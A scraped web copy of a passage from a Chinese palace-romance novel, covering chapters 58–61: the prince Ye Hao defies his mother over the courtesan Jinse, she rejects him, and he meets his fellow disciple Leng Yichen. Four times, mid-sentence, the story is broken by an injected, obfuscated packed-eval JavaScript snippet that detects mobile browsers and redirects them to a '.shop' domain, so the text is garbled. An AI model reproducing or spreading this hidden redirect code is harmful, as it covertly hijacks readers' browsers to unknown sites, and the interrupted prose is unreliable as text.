于文则笑了笑,说道:“殿下也知道,在下只是一个闲散的宗室,甚至连宗室都算不上,朝堂的事在下不是很了解。” 冷逸尘试探着问道:“本王想见信王一面,能否代为通传。” 于文则迟疑了一下,回答:“在下这酒去上报,不过流程手续繁琐,还殿下请耐心等待。” 冷逸尘见他只是官方作答,便也不抱希望,道了谢便起身告辞。 日薄西山时,泽生方回来。 原来泽生出门后就发现被人跟踪了,他恐甩掉尾巴会引起不必要的误会,便假装玩赏梁京风土人情,一路慢慢走着,买了好些吃食玩物,悄悄打探了信王的府邸所在,可逛了半日,也没有什么头绪,索性找了个茶楼,听书喝茶。 茶楼是个神奇的地方, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073902|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汇聚集了世上三教九流的人物,算是消息最密集的地方了,京中稍有风吹草动,都为这里多填了一些谈资,正如话本子里所写,各路江湖人都喜欢到酒肆茶楼打探消息一般。 此时又恰逢年底,城外农事已了,农民皆进京采买年货、置备新衣,这几日里茶楼中颇为热闹,泽生在此一坐,还真打探出消息出来。 一个留着羊须胡的男子说道:“这几日都是昭阳公主殉国的传闻,还有先庆王遗孤被找回的事,没什么意思,你们可听说信王带回来一女子养在府中,对外称是表小姐。” 这个话题立即引起了众人的兴趣,有人说:“还真没听说过这个事,快来讲讲。” 又有人担心道:“皇家之事,可不能随便议论,要掉脑袋的。” 可桃色新闻人人都爱听,人们都用期待的眼神看向羊胡。 羊须胡见引起了众人的关注,露出一副满足表情,故弄玄虚地压了一口茶,说道:“我也是道听途说,信王归京路上捡到了一个受伤的女子,对这女子一见钟情,带回王府后延医问药,无不尽心,只怕好事将近了。” 一个圆脸男子接过话茬道:“这信王早已到了娶妻的年纪,却迟迟未议婚,可是耽误了京中不少世家女子,此事若是真的,这京中可有的热闹了。” 可泽生经过训练,虽周围杂乱,可众人的言语都一字不差地落入他的耳中,他也在人群中插说了句:“道听途说,不可信吧!” 一个瘦高男子插嘴道:“可信可信,我有个兄弟,是采买的掮客,说前些日子信王府的采买量突然增了不少,皆是补品,如此想来便是府里住了新人的缘故。” 此时又有人搭话:“……帝王之家娶亲哪有那么简单,纵然信王钟情,但于礼法不合,怎允许娶一个来路不明的女子,我看那,这事多半没戏呀……” 众人又说笑一阵,便转了话题,泽生见无甚可听便拎了东西回去了。 耳食之言、谬种流传,知情人大概也没想到,叶岚归来一事竟被传成了庆王认女和信王娶妻这两件事。 泽生归后向叶皓讲述了今日种种后,又说道:“属下猜测众人说道女子便是公主,属下今晚去一趟信王府,查探此事。” 冷逸尘酒已上头,扶额思考片刻,终觉不妥:“这里是梁京,成王又对使团严加看守,你不能去冒这个险。” 泽生:“可不去见信王,怎么知道公主的情况。” “方才我静下心来仔细思量了一下,成王千方百计地控制我们的行动,阻止我去见信王,表面上是防着使团窃取他国了消息,可更像是向我隐瞒她的事。”冷逸尘忍着头痛继续说道:“当时你也在场,那一刀不致命,师兄到底还是顾念同门情谊的。” “所以公主没事,信王不会置公主于不顾,所以……”泽生更加坚定了自己的想法:“所以被带回来的是公主,可他怎会罔顾人伦,如此行事。” “大约他也想不出好办法了吧,毕竟昭阳公主之死,见证之人众多。”冷逸尘说这话时,眸中已是深深的忧伤:“他兄妹二人现在一定恨极了我,我现在真是后悔,为什要回京来,一直在临闾关该有多好。” 说罢,他已无力支撑,躺倒床上后便昏睡过去。 泽生看着他家殿下,心中叹息:事已至此,后悔何用,此事一定要找信王问清楚。安排了一番,对外只说:殿下醉酒,需好好休息,不要打扰,他在里面照顾即可。 四更后,他将外袍套在了被卷上,做了个假人模样,换了夜行衣,悄悄去了信王府。 59. 不意染红尘 自叶岚一众人走后,叶皓方才腾出了时间向宫中递了问安的折子。 也是在泽生到信王府在这日一早晨,叶皓进宫探望母妃,惠妃许久未见孩儿,拉着他的手话起了家常。 荣贵妃搬到了重华殿,领后宫之事,位同副后,她待梁帝倒也真心,梁帝缠绵病榻已经年,她精心照顾,梁帝竟渐渐恢复了。 然荣贵妃眼下却有一喜一忧两件事,喜的是她已有三个月身孕,忧的是她的女儿朝雨与驸马不和,已在宫中住了两月之久,荣贵妃既要安胎、又要照顾梁帝、还要劝慰女儿,每日里忙得不可开交,即便如此,仍不舍得放下手中的权利。 惠妃接过叶皓剥好的橘子,说道:“昭阳公主战死重峪关,祁国使团来访,最近京中可真是热闹,只是可怜了叶岚,小时候不受宠,长大后又如此颠沛,你可知她葬在了何处?” 叶皓支支吾吾:“这个……不知道……三哥哥说葬在了重峪关。” 惠妃十分不满:“重峪关一战是你主帅,这事反倒要听老三说结果,叶岚到底是你妹妹,你怎可这般敷衍。” 叶皓见母妃生气,屏退左右后叩首道:“孩儿有错,欺瞒了母妃,此事另有缘由。” 他讲述了实情,只是隐去了孩子一事:“……六妹妹被我刺了一刀,伤势严重,好不容易救了回来,如今在宜州三嫂嫂家静养,至于六妹妹为会突然出现在战场上,她只字未提。” 惠妃叹了口气,说道:“那定是受了极大的委屈,被伤得太深了,所以不愿提起往事,不过她能回来便好。”说完,看向叶皓,恍然大悟地说道:“前几日你带回来的庆王幺女,莫不就是叶岚吧。” 叶皓:“是,现在的名字叫叶青。” “叶青……这个名字不错,她小时候是个乖顺的孩子,只是性子清冷了些,可怜她受了这一遭罪。”惠妃说完拭了眼角的泪,抬手示意他起来,接着说道:“我年岁大了,最希望看着孩子们都过得好,你父皇这几个孩子里,只有老三与你小时候常在我身边,你是我亲生的不必说,老三他母亲早逝,我也待他如亲子,只是他娶了王妃后就很少进宫来了。” 叶皓起身后坐到母妃身侧:“三哥哥公务繁忙,多数时候不在京中。” 惠妃戳了一下他的额头:“你不用为他开脱,他那王妃,这几年还好了些。毕竟是小门户出身,刚成婚那会,礼仪交际一概不通,话也不会说,在众人堆里如哑巴一般,我很不喜欢。” 叶皓递上茶杯:“三嫂嫂……她人很好。” 惠妃却未接,示意他放下,说道:“我知道你心里还是向着他们的,唉……你三嫂也闹了多半年了,怎的还不回京来?这一点就有些小家子气了,不知有多少人要笑话,京中富贵人家哪家不有几个通房、侍妾,更何况是帝王家,怎么偏偏老三娶个侧妃回来她就要这样折腾。” “母妃,有些事并不是如世人所见那般,母妃不要听信传言。” 惠妃十分不悦:“倒是我的不是了。” 叶皓忙跪下谢罪:“孩儿不敢。” 惠妃冷哼一声:“只怪我不会生,没生个女儿出来,若是有个女儿,不仅贴心,还能时常来陪我来说说话。” 叶皓道歉:“是孩儿错了,今日忤逆了母妃。” “既然知道错了,那合适能给我娶个儿媳妇进门?没有女儿陪着,儿媳妇也行。”惠妃真正的目的在此。 叶皓听了母亲对夏萱的一番评价,他不知如何开口将心中所愿说出口,只是叩了一首。 惠妃:“怎么?一说这事就不说话。前几日,周太尉夫人来与我说起此事,跟我说了几家京中的世家之女,有康家的、荀家的、文家的,不过这几家家世还是低了些,做侧妃倒是可以。” 他并不反驳,只说道:“家世出身孩儿并不在意,只求能娶得与孩儿心心相印之人,就如……长姐与姐夫一般。” 惠妃见他不表态,委婉劝解:“痴儿,起来吧,这天下有几对夫妻能如他们一般,不过他们就没有遗憾吗?至今都无所出。不说别人了,你到底是怎么想的?” 他见此番逃脱不掉,便鼓了鼓勇气说道:“孩儿……倒是有一位心仪的女子。可……” 听闻此言,眼中闪过一丝光亮,等不及听他后面说什么,忙问:“是哪家姑娘?” 他试探着回答:“只是她出身寒微……” 惠妃犹豫了一下:“这也不是难事,到时找京中世家认个干亲,抬一抬出身,做个侧妃也可以。” “只是她……身在乐籍。” 话音未落,惠妃神色一凛、霍然起身,怒道:“什么?你……你竟然……”说话间,怒气翻涌,双手颤抖。 叶皓被吓得跪地请罪,悄悄抬头看着母妃。 惠妃话还未说完,只觉得一阵眩晕,向后倒去,叶皓急忙起身上前扶住,对外喊到:“来人……” 众侍女皆进入,掌事嬷嬷彩玉扶惠妃坐下,为她抚着后背顺气,并吩咐人去化一粒安神丸来。 惠妃指着叶皓,恨声说道:“逆子,竟敢有如此想法!” 气到母妃,叶皓心中十分愧疚,但还是跪拜道:“孩儿心意已决,望母妃成全。” 惠妃见他执迷不悟,砸了茶碗:“还敢提此事,出去,在殿外跪到出宫的时辰,好好反思你的所作所为。” 叶皓出去跪在正殿之外,彩玉安顿惠妃进了内殿,靠在了床上,又服侍她喝了安神药。 彩玉劝慰道:“殿下好不容易进宫一趟,娘娘何必如此动怒。” 惠妃长叹一口:“唉!这孩子居然想娶贱籍女子,让本宫怎么不生气?” 彩玉为她盖好丝衾:“娘娘消消气,咱们殿下是有股子倔劲的。” “这几年在外面,性子也变野了。竟然也学起来那纨绔子弟那一套,还敢来本宫跟前说。”她揉着额头,心中感叹:真真是世上难偿儿女债。 彩玉跪在脚踏上为娘娘揉着太阳穴:“殿下本性纯良,定然不是娘娘想到那般,假以时日,待殿下收回心来,一切都不晚。” 惠妃却心急:“假以时日,还要等到什么时日?” 彩玉恐再勾起娘娘怒气,忙转了话题:“是……殿下他……还在外面,殿下不是小孩子了,这人来人往的,恐失了颜面。” 惠妃思索了片刻,说道:“让他跪着,长长记性,近些日子本宫也有耳闻,说他在朝中受排挤。本宫家族已经没落,不能为他助力,若有个能帮衬他的王妃,日后他在朝中的路也顺利些。” 她说完这些,又是一声叹息:“唉,本宫何尝不想他能娶得心仪的女子,可他需自身站稳了才能如愿……明日你送些药膏去他府上,跟舒雁打探一下是什么情况。” 彩玉见娘娘态度有所缓和,立即应承道:“是,娘娘勿躁,只要耐心劝导,殿下会明白娘娘的一番苦心的。” 想起叶皓府上之人,她又是一番思索:“对了,听说他身边还有一个叫画眉的丫头,俏皮得很,你明日去了看看是怎样的人,舒雁这丫头,稳妥是稳妥,但是有些无趣了。” 彩玉:“是,明日奴婢自会留意。” 此时,药劲上来,惠妃便睡下了。 彩玉放下帐幔,轻轻出去,拿了个蒲团来到信王跟前悄声说道:“殿下,小心受凉,垫个垫子。” 叶皓:“多谢姑姑,姑姑,母妃她怎么样了?” 彩玉语重心长地劝慰他:“已经睡下了,娘娘这是老毛病了,平日里殿下忙碌,不忍心告诉殿下,怕殿下担忧分心,殿下也该理解娘娘的苦心。” 他心中虽愧疚却无悔:“是我冒失了。” 彩玉知他这个脾气,忍不住说道:“今日奴婢僭越,要说殿下几句,殿下是奴婢看着长大的,知殿下是沉稳知礼之人,若真对乐籍女子动了心,也要忍痛割爱。且不论娘娘会不会答应,就是咱大梁的律法和陛下也是不允许的。殿下可曾想过,娘娘就您一个孩子,若您执意如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073903|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会是何结果?娘娘晚年将依靠谁?还有,这些日子娘娘身体欠安,殿下实在不该在此时提起。” 一番话让叶皓疼痛不已,他常年在外与母亲一年也见不了几次面,的确不该如此如此气母亲:“多谢姑姑提点,我离宫多年,总觉得母妃还如我小时候记忆中的那般,今日看到她的白发又多了,才感觉到她也上了年岁,以后我自会多来探望母妃的。” 彩玉见他有松动,趁机劝道:“家有家法、宫有宫规,殿下男儿之身进出宫闱多有不便,不如先遂了娘娘心愿,娶了正妃,那女子之事再徐徐图之。” 叶皓听了此话,反感起来,心中说道:此生非她不娶。但是他并未反驳,只是说道:“多谢姑姑。” 彩玉以为自己的劝解信王听了进去,便行礼告退了,不一会又安排侍女去告诉信王有人要来访,需依宫规回避,叶皓这才出了宫来。 经此一事,他越发想见锦瑟,上次文瑶一事伤了她的心,他去寻过她一次,却未见到人,知她是有意躲着他,今日说什么也要见到她。 于是他弃了软轿,独自坐船到了翠微楼,依旧不见锦瑟,问了店里伙计才知道锦瑟去了右相宣相良家献艺。 他索性点了席面,必要等到锦瑟回来,这一等便到了入夜十分,店里伙计委婉地告诉他天色已晚,宵禁后恐通行不便。 他舒展了一下身体,也不为难伙计,径自出门去了,可出来门,便转弯爬墙,翻窗进了锦瑟房间内,房间内一片冰冷漆黑,叶皓摸黑生起炭火,靠着窗看着月色,等待锦瑟归来。 临近宵禁,锦瑟才归来,抱着琴一边走一边吩咐人打水送至房间来,她上楼开门,只觉一股热气扑面,心中虽有诧异但并未多想,只以为是小丫头们生的火。 她进门后摸黑放下琴,点燃蜡烛,抬头看时发现有人坐在窗影之下,惊得她一身冷汗,轻呼了一声,待看清是叶皓后,又放松下来,轻轻拍了拍自己的胸口。 还未等二人交言,只听门外小丫头说道:“锦瑟姐姐,发生了何事?” 锦瑟急忙示意叶皓噤声,开门出去说道:“没什么,房间里有只老鼠,已经跑了,水给我,你快去休息吧。” 小丫头:“那我明日告诉孙妈妈买些鼠药来撒撒。” 锦瑟着急打发她:“好,我今日也乏了,告诉他们有什么事明日再说,你也去睡吧。” 小丫头乐不得地走了,锦瑟端水进来,锦瑟并不避讳他,自顾自地卸地梳洗,去又里间换了衣服出来。 叶皓看着浓妆的锦瑟,只觉得她如桃花般灼灼,此刻又觉她如清水芙蓉一般,不管怎样,只觉看着她便心中欢喜。 她倒了杯茶奉于叶皓,说道:“殿下快回去吧,马上宵禁了。” 叶皓会心一笑:“知道要宵禁了,为何要等到卸完妆才赶我走?又为何倒了杯茶给我?到底是想让我走还是不想让我走?” 锦瑟小心思被看穿,佯装不悦:“随殿下怎么想。”说罢,转身坐到了案几前。 叶皓也跟过来,坐到侧面,说道:“你不见我,我只能到这里来等你,前几日在府里的事,向你道歉。” “殿下有什么可道歉的?还是……替文姑娘道歉?”这后半句,锦瑟原觉得是不该说的,可不说心里又难受,还是说出口来。 这么一问,叶皓心中反而有些开心:她这是在吃醋。于是笑问:“你觉得我是替谁道歉?” 锦瑟未回答,只是拨了拨炭火,今晚她饮了些酒,屋内热气熏蒸使酒气发散,粉色晕上了双颊,如同芙蓉花瓣一般娇艳,配上柳眉弯弯、朱唇皓齿,令人无限爱恋。 “锦瑟……”叶皓叫她一声,来确定自己是否在梦中。 锦瑟侧目微微一笑,眼波流转、顾盼神飞,惹得叶皓身心俱乱,打横将她抱起,向床榻走去。 锦瑟酒意微醺,情意朦胧,双手紧紧揽住了他的脖颈,脸埋进了他的胸膛。 良宵春风一度,缱绻柔情无限。 60. 婵媛空复情 缠绵过后,锦瑟疲乏不已,偎叶皓小憩。 叶皓看着怀中的软玉,薄冰肌莹、雪腻酥香,眼尾两颊的胭脂色更甚,青丝如瀑散落,他一缕青丝缠绕在指间,满心欢喜地思地着要如何为她脱籍、如何安置她、如何去说服母妃。 大约过一个时辰,外面隐隐传来更夫打更的声音:“子时三更,平安无事;子时三更,平安无事……” 锦瑟闻声醒来,酒意已褪,回想刚才之事,心中有些难过,只觉自己玷污这白衣公子。 她欲起身,叶皓却将她揽过紧紧拥着,一股脑将刚才所思所想都说于她听:“我想办法为你脱籍,咱们成亲,先找个宅子安居,只是眼下我还有一些大事要处理,等处理完后就辞去所有职务,只做个闲散的亲王,不,不当这亲王也罢,我们一起……” 锦瑟听着只觉心酸,这几乎是无稽之谈,她勉强笑了一下,起身来到妆镜前。 叶皓不解,只觉得她是羞涩难为情,便也起身跟上,在她身后看着镜中的她。 未想锦瑟说道:“信王殿下,你我不过是一夜春.情,何必想这么多。”说完整理了衣衫,梳起头发来。 叶皓见她不信,坐到她身侧,揽她入怀:“我是认真的。” 锦瑟推开她:“可奴家不是认真的。” 此言犹如一盆冷水,猛然淋在他头上,但他仍疑心她是恐世俗难容,便握住她的手,说道:“你不用怕,我自会安顿好一切,不会有人说什么。” 锦瑟将手一抬,将手挣脱:“殿下怕不是吃醉酒了吧,奴家早就说过,奴家这只蜻蜓只是暂时落到殿下这里,殿下不必当真。” 他难以置信,心有不甘,再次抓紧锦瑟的手腕:“可你曾说过你是为我入京,你心中是有我的。” 锦瑟冷笑一声:“为殿下入京不假,可在京两年,多少人对奴家说过这样的话,今日在相府,杜大人也说要为奴家脱籍,甚至还说要纳我为妃,我是不是也要相信?” 叶皓将她的手放于胸口处:“可我是认真的。” 锦瑟欲将手抽出,可他却握得紧实:“殿下还真是天真,人都是会变的,殿下不是洪汝河上的公子,奴家也不再是画舫上的锦瑟,一只蜻蜓,是不会有安身之处的,殿下请回吧。” 她说的每一个字,都如一把冰冷刀刺进了叶皓心脏,手上松了力道,锦瑟将手抽出整理衣衫,不敢看他。 叶皓愣了好久,自嘲地笑地起来,今日他就是个笑话,天大的笑话,之前的过往都算什么?终究是一往情深皆错付!起身穿好衣服,冰冷地说地:“既然姑娘不念旧情,本王也不再纠缠。”说罢翻窗而去。 叶皓走后,锦瑟低头捂住了胸口的那块玉坠,眼泪大滴大滴地落地,既然没有结果,不如早日了断得好。 季萧和韦素仍在暗处等待,三人于暗处回王府,无人发现,到了王府,叶皓命人搬了几坛酒到书房,喝了个不省人事。 他回忆着以前的事,洪汝河上的首次相见早已记忆模糊,第二次相见只觉得她人比花娇、曲比天籁,第三次相见,是秦羽安葬那日,他伤心极了,去翠微楼买醉,听了锦瑟的陈词,内心竟佩服起她的坚韧来,竟说出了“入我王府来”这样的话。第四次见面是什么时候呢?叶皓仔细想了又想,是那日与三哥哥痛饮后,心中仍觉得的不自在,只想找个人陪着接着喝。是锦瑟带他去了自己的卧房,他再次说出了“入我王府来”这句话。原来情根早已深种,她早已住进了他的心里。 此后,他频频被催婚,可心中只念锦瑟一人,他知道锦瑟对他倾慕、留存他的剑穗、为他入京,便以为锦瑟的心也同他一般,只是碍于身份地位,故而又屡屡拒绝。 只是现在他想不通、不明白,为何如今有了肌肤之亲,她却回绝得如此果断,难道真的是“富贵迷人眼,繁华乱人心”? 叶皓不断地怀疑与自我怀疑,肯定与自我肯定,否定与自我否定中,痛苦了一夜。 月移花影、转瞬天明,叶皓醒来时太阳已升了老高,他睁眼只见江源坐在案几旁,自己与自己对弈。 这场景似曾相识,莫不是做梦了?他起身拍了拍江源的肩膀,确定是肉身无疑,方才问道:“江兄,你怎么在这里?” 江源看了他一眼,眼神中满是疑惑的疑惑,问道:“殿下还没清醒?” 叶皓看着满地的酒坛,昨夜竟不知道饮了多少,他揉着头问道:“你什么时候来的?” 江源转头去看棋局:“一早便过来,季萧说殿下入夜方归、饮酒至清晨,我便进来等着。” 叶皓:“这么急?有什么事吗?” 江源有些嫌弃地说道:“殿下先去沐浴吧,这一身酒气都染在我的衣服上了。” “现在怎么这样讲究了?”叶皓说完打开门,一股清新冷气扑面,人也完全清醒过来。 他自去沐浴更衣,有侍从进来开窗通风、打扫熏香。 半个时辰后,江源的棋局正陷入胶着状态。 叶皓换了新衣、半束着头发进来坐于他对面,接过了棋局,他看着棋局,思索良久,方落下一子,感叹道:“这局真是艰难。” 江源也落下一下:“棋局再僵,终有化解之道,倒是殿下有什么心事,醉成这样?” 叶皓不知如何开口、沉默良久,还未及二人再说话,韦素来报宫中彩玉姑姑来了,他命请人进来。 江源要回避,他只道无妨,示意棋局继续,该他落子。 彩玉进来后见礼毕,说道:“奴婢奉惠妃娘娘之命,送些补品给殿下。”说着不动声色地将室内环视了一遍,只见窗明几净、雅室生香,殿下衣冠齐楚地与地对弈,心下甚是满意,更觉殿下昨日只是一时糊涂。 叶皓谢道:“有劳姑姑了。” 彩玉收回目光:“殿下真是折煞奴婢了,这都是奴婢份内的事,若无其它的事奴婢便告退了。” “姑姑受累,喝杯茶再去吧。”叶皓说完吩咐韦素告诉高顺去安排。 彩玉告退,由韦素引着自去了。 江源看着这一切,感叹道:“真是羡慕殿下,父母康健,这便是福气。” 叶皓却叹了口气:“父母虽在,却也不似常人那般共享天伦。” 江源笑着要来摇头:“虽身不由己,但总归是有人惦记的,自我父母亡故后,我便觉得没有了根基,漂泊多年,自成婚后才算安顿下来。” 听闻此言,叶皓又想到昨日之事,心事重重,看着棋局毫无头绪:“重新开一盘吧,你这路数和我不一样。” 江源见他无心棋局,便说道:“我看还是别下了,殿下心烦意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶皓边听边思索着,只觉得高沛和杜二公子这两个名字十分耳熟,他问道:“高沛,是赵忠将军麾下的吗?这个人师老将军和我提过,说是可用之才。” 江源回道:“正是:赵将军一手将他提拔起来,周太尉很是看中他。” “这家杜二公子是?”叶皓一阵头疼,想不起来他是谁。 江源笑道:“殿下怎么连他都不知道,杜卫的侄子,杜纯之。跟他的名字一样,蠢得不得了,刚入京不久就与京中公子打了一架,让人看了不少笑话。” 叶皓这才想起了这杜纯之,那时这人缠着锦瑟,他便在幕后主使了这次冲突,忽而他又想起昨夜锦瑟的话:……杜公子要纳我为妃。 他眉头紧皱,仔细思考着这句话,此话有两个疑点,第一:锦瑟应知此人不善,为何又与这杜公子纠缠起来,她拒绝他难道是为了杜纯之;第二:杜纯之非王非侯,如何敢出“纳妃”之妄言。 宿醉醒来便杀了一局,现下又思考这么多,他已是头痛欲裂,频频用手抚头。 江源已看出他的不适,说道:“殿下还是先休息吧,改日再叙,我先告辞了。”说罢起身欲去。 叶皓挽留道:“一起用午膳吧。” 江源看看天色:“不用劳烦了,家中已备好午饭。”他说完闻了闻自己的衣袖,心想:回去先换一换衣服才能抱女儿。 叶皓心下感慨,成了婚就是不一样了,竟然讲究到了这般地步。 他又想到他他自身,他与锦瑟又会是怎样呢?他务必还要见锦瑟一次。也不知韦素昨晚给他搬的什么酒,头痛得浑身没有力气。 唤了韦素拿了颗止痛的丸药服下,简单用了些午膳后,在寝殿睡了两个时辰方才好了起来。 他起身时被硌了一下,掀开褥子发现是一枚飞镖。 61. 何如不相识 叶皓拿着飞镖,觉得好生眼熟,忽然想起是泽生的,他忙打开飞镖后面的盖子,从里面倒出一张字条来,上书:我主于驿馆不得出,欲见阁下无方,望阁下与之一见,泽生敬上。 泽生用了“阁下”二字称呼他,大概是因为找不到其它合适的称呼吧,他们不是主仆,也不是朋友,而是是江湖义气。 此时,敲门声响起,季萧进来回禀:“于文则,于公子悄悄传话来,说请殿下明日巳时到城郊十里亭等候。” 于文则,近些年来与他并无交集,季萧提醒他于文则是祁国使团的接引使,他才恍然,这是替冷逸尘传话,他使劲拍拍头,这酒真是误事。 对于去见冷逸尘这件事,叶皓内心是十分矛盾,他不知如何面对师弟,也不知该怎样对师弟说。 对于暖暖,他曾经责怪师弟不能保护好她,可暖暖到了他身边才两个月,不仅孩子没了,连命也差点搭了进去。 以前他想若见到了他定要痛骂他一顿、甚至想痛打他一顿,而如今他又有何资格去指责他呢? 现在,先是泽生的字条,再是于文则的传话,可见冷逸尘定要见上他一面,他若不去,他二人的友谊只怕是要断了。 可见面该如何说?叶皓虽踌躇,但终归是要见的,一切只待等一切见了再说,于是,他让季萧回话:明日巳时,十里亭等候。 生活犹如一团乱麻,需要一条条捋顺,叶皓整理衣衫去了翠微楼。 梁京规定自腊月十五起取消宵禁至二月初二,今夜是取消宵禁的第一日,翠微楼乃至整个梁京都格外热闹。 叶皓的雅间依旧临水,不待他问店里伙计便说道:“殿下稍待,锦瑟姑娘还有别的客人,献完艺便过来,殿下可需点些酒菜?” 叶皓:“不必了,上一壶茶来。” “好嘞。”伙计说完便出去,不一会便送进来一壶茶和几盘茶点,边摆放边介绍道:“这茶是上等的白牡丹,水是城郊的泉水,这几样点心是兰桂坊刚刚送过来的,殿下新鲜趁尝尝,若是满意,改日派人给府上也送去些。”大约这店下二也听闻了那些花边新闻,以为信王府新进了人口,便推销起来点心来。 叶皓也无心听这些,只是点了点头,伙计见他不语识趣地退了出去,终于清净下来,他凭栏望月,借着外面的凉气让自己清醒一些。 一个时辰后,外面繁华渐消,人声散去,雅间的门终于被推开了,锦瑟抱琴而入。 叶皓回到桌前,坐定后倒了一杯茶,锦瑟自屏风后调琴试音,不一会琴音自琴弦而出,如行云流水、如清风云烟。 一曲毕,锦瑟欲抱琴离去,叶皓邀她入座饮茶,一切都那么自然而然,就像昨晚的事没有发生过一般。 锦瑟谢过,低头喝茶。 叶皓纵有千言万语也不知从何说起,只说道:“我有些事不明白,想问问你。” 锦瑟低眉:“殿下请讲。” 叶皓不提前事,只问:“昨日在相府,杜纯之和你说了什么?他轻薄过你,你为何还与他有瓜葛。” 这些话似乎刺痛了锦瑟,她别过脸去,良久才说道:“人情留一线、日后好相见,都是权贵之人,奴家哪里得罪得起。” 叶皓:“他昨日当真说了要纳你为妃的话?” 锦瑟浅笑,似乎是在笑叶皓的天真,说道:“酒后的话哪里能当真?他昨日喝多了的玩笑话,与我说将来封了王,便纳我做王妃。” 叶皓语气微变:“这话可有别人听见?” 锦瑟却不以为然:“玩笑之话,听到听不到又能怎样呢?” 叶皓抓住她的手腕,严肃地说道:“事关重大,如实说来。” 锦瑟被这举动一惊,又见他神色有变,小声说道:“不曾,当时人声杂乱,他又喝醉了,与我……耳语,不曾有人注意到。”当着心悦之人提及她与别的男子之事,她羞怯难当。 如此,叶皓便确定杜家不臣之心依旧未改,且越发猖狂,他告诫锦瑟:“那杜纯之很危险,不要再与他有联系。” 锦瑟:“殿下这是哪里的话,都是恩客,怎能厚此薄彼?” 叶皓:“我没有开玩笑,杜纯之与杜家有不轨之心,不希望你牵扯进去。” 锦瑟心中一动,反问道:“想必此事隐秘,殿下为何要告知奴家?殿下就不怕奴家告诉杜纯之吗?” 叶皓笃定:“你不会。” 锦瑟:“殿下怎知奴家不会?” “因为你胸前的玉佩,因为你知道我心悦于你。”叶皓灼热的目光直视锦瑟。 锦瑟未语,心中愧疚,躲避了他的目光。 叶皓手上松了力道,眼中多了柔和,真切地说道:“锦瑟,我为你脱籍,跟我走好不好?” 这一刻,锦瑟犹豫了,她看得出叶皓是认真的,她何尝不想与洪汝河上的白衣公子携手而行,现在,只要她点头便能实现了。 那之后会如何呢?闹得满城风雨,他们会失去一切、会被这世俗唾弃,她本是贱籍,倒没什么,可他是高高在上的皇子,如何承受得了这一切。 她心里一阵苦涩,抽回手说道:“殿下的好意奴家心领了,殿下与奴家云泥有别,请殿下不要再提及此事,殿下放心,此事奴家不会告知他人,算是还了殿下的恩情。”说完行了叩拜礼,抱琴离去。 叶皓看着锦瑟离去的背影,双拳攥得死死的,所有的热情与精力仿佛被抽干,只剩下深深的无力感,他闭眼叹息:就这样吧,人这一生到处都是意难平。 黑夜的梁京,曲终人散,寂静无声。 次日巳时,叶皓已在十里亭等候,约摸过了半个时辰,车马声沿着官道传来。 使团至十里亭,于文则命众人原地休息,他则来到冷逸尘的马车前说道:“请殿下移步十里亭休息。” 冷逸尘疑惑了一下,随即反应过来,对着于文则说了声“多谢”。 于文则引领冷逸尘与泽生到十里亭后,见到了叶皓:“此处下官已派人清理过,但人马往来不可控,还请二位殿下捡要紧地说。” 叶皓也道了一声“多谢”,于文则走后,他将飞镖还给泽生,又给了泽生一个感谢的眼神。 泽生接过飞镖点,行礼告退。 十里亭中,只剩下师兄弟二人,二人皆是一副憔悴的面容。 “师兄……为什么不来见我。”冷逸尘这一声,似含了无限冤屈:一为梁国不告知叶岚的生死,二为叶皓的避而不见。 这一声“师兄”,让叶皓觉得惭愧,解释道:“我是昨日下午才看见字条,收到于文则的传话。” 冷逸尘上前一步:“叶岚,她还活着,是不是?” 叶皓没有正面回答,只是说道:“昭阳公主已经不再了。” 冷逸尘见他只是官方作答,声中带哭:“你也不告诉我,是吗?你明知城楼上的不是她……” 叶皓从未见过他如此失态,不忍再欺瞒他,只得点点头。 冷逸尘眼中有了希望之色,问道:“她在哪里?” 叶皓并不回答只问道:“当时到底发生了什么事?她怎么会突然出现在战场,她回来后什么也不愿意说。” 之后冷逸尘将叶岚如何离开安定城去燕北,如何被追杀,又如何连着赶了几夜的路到重峪关的事告诉了叶皓。 叶皓听着只觉惊诧,他甚至不敢相信,曾经柔柔弱弱的叶岚竟如此坚强地经历了这么多。 冷逸尘:“那日我匆匆离开,是因为接到京中急报。此去情况不明、危险重重,我没有办法,我不能带她回去,托付给师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073905|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄是当时最好的办法……师兄,能不能让我带她回去。” 